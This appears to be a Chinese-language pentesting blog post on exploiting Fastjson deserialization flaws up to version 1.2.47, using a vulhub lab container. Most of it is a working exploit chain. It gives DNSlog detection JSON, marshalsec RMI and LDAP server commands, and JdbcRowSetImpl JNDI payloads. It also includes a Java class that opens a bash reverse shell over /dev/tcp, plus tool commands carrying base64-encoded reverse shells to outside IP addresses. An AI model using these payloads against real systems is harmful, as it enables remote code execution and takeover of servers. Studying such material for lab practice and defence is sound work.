FastJson漏洞

简介

Fastjson是阿里巴巴公司开源的一款JSON解析器,它可以解析 JSON 格式的字符串,是一个 Java 库, 支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Bean。可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。

总结的说fastjson就是一个alibaba写的java的解析器

历史漏洞

Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞
Fastjson <=1.2.42 反序列化远程命令执行漏洞
Fastjson <=1.2.43 反序列化远程命令执行漏洞
Fastjson <=1.2.45 反序列化远程命令执行漏洞
Fastjson <=1.2.47 反序列化远程命令执行漏洞
Fastjson <=1.2.62 反序列化远程命令执行漏洞
Fastjson <=1.2.66 反序列化远程命令执行漏洞

可见基本都是反序列化漏洞

漏洞发现

json认识

https://www.runoob.com/json/json-tutorial.html

总结的说,就是一种结构格式化规定

1
2
3
4
5
6
7
{
"sites": [
{ "name":"菜鸟教程" , "url":"www.runoob.com" },
{ "name":"google" , "url":"www.google.com" },
{ "name":"微博" , "url":"www.weibo.com" }
]
}

Fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现Json格式的地方,就有可能 使用了Fastjson

漏洞检测

  1. 前提知识

    java.net.InetAddress 这个类在实例化时会尝试对 example.com 进行域名解析,这时候可 以通过 dnslog 的方式得知漏洞是否存在

  2. dns域名解析网站

    http://dnslog.cn/

    https://www.callback.red/

  3. 这里我拿1.2.47举列子

    获取一个域名

    image-20240118093736167

    然后添加payload

    1
    2
    3
    4
    5
    6
    {
    "name":{
    "@type":"java.net.InetAddress",
    "val":"任意字符.qydzoe.dnslog.cn"
    }
    }

    image-20240118093956030

    注意必须要修改content-type修改为json

    然后发送这个包,我们尝试获取则这个包的结果是什么

    image-20240118102337745

除了上面这个方式通常还可以尝试使用 报错 的方式

JNDI注入 + RMI

JNDI

JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

可以访问以下的服务

RMI (JAVA远程方法调用)

LDAP (轻量级目录访问协议)

CORBA (公共对象请求代理体系结构)

DNS (域名服务)

RMI

RMI是Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。

我们使用上面两个获取rce

方法一

https://github.com/mbechler/marshalsec

借助 marshalsec 项目启动一个rmi服务器,监听一个端口,并指定加载远程类 Exploit.class。

maven打包项目成jar包:

1
mvn clean package -DskipTests

注意这里要求必须使用jdk1.8

编写并编译恶意代码

注意:

ava保存的文件名必须与类名一致;
如果文件中只有一个类,文件名必须与类名一致;
一个Java文件中只能有一个public类;

touch.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// javac Touch.java
import java.lang.Runtime;
import java.lang.Process;

public class Touch {
public Touch(){
try{
Runtime.getRuntime().exec("/bin/touch /tmp/AU9U5T");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Touch e = new Touch();
}
}

然后将这个编译成为javac程序,然后尝试去访问开启http服务,再使用maven开一个服务器

分别的指令是

1
2
python -m http.server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://120.27.61.239:8000/#Touch" 9999

记得修改ip,端口

然后发送exp

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.79.1:9999/Touch",
"autoCommit":true
}
}

记得修改为自己的ip和端口

image-20240118105243413

image-20240118105344336

有收到connection
确定一下

image-20240118105538518

成功创建,尝试反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.79.1/16789 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}


先javac一下,创建一个maven服务器

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.79.1:16789/#Exploit" 9999

发送exp

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.79.1:9999/Exploit",
"autoCommit":true
}
}

image-20240118110315655

成功反弹

JNDI注入 + LDAP

LDAP是基于X.500标准的轻量级目录访问协议,目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。

我使用工具进行了

1
java -cp fastjson_tool.jar fastjson.HLDAPServer 124.71.45.28 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}"

记得修改反弹shell的命令

然后他会生成payload

1
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://124.71.45.28:9999/Object","autoCommit":true}}

FastJson1.2.47反序列化漏洞

漏洞概述

fastjson 在解析 json 的过程中,支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。 fastjson 于 1.2.24 版本后增加了反序列化白名单,而在 1.2.48 以前的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令。

影响版本

Fastjson < 1.2.48

漏洞环境

1
2
3
4
5
6
version: '2'
services:
web:
image: vulhub/fastjson:1.2.45
ports:
- "8090:8090"

漏洞检测

原理:java.net.InetAddress 这个类在实例化时会尝试对 example.com 进行域名解析,这时候可 以通过dnslog的方式得知漏洞是否存在

漏洞利用

JNDI + LDAP

方法一和上面一样,尝试方法二

JNDI注入 + RMI 方法二

image-20240118111344547

我尝试使用第一个

image-20240118111606248

就是和上面的一样,远程代码执行

直接反弹shell了

1
java -cp .\jndi_tool.jar jndi.HRMIServer 192.168.79.1 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc5LjEzOC8yMjM0NSAwPiYx}|{base64,-d}|{bash,-i}"

注意得写自己的ip和端口

他会提醒你payload,我们直接发送他给的就行了

image-20240118112823636

image-20240118112831303

image-20240118112847079

成功反弹


FastJson漏洞
https://tsy244.github.io/2024/01/18/渗透/FastJson漏洞/
Author
August Rosenberg
Posted on
January 18, 2024
Licensed under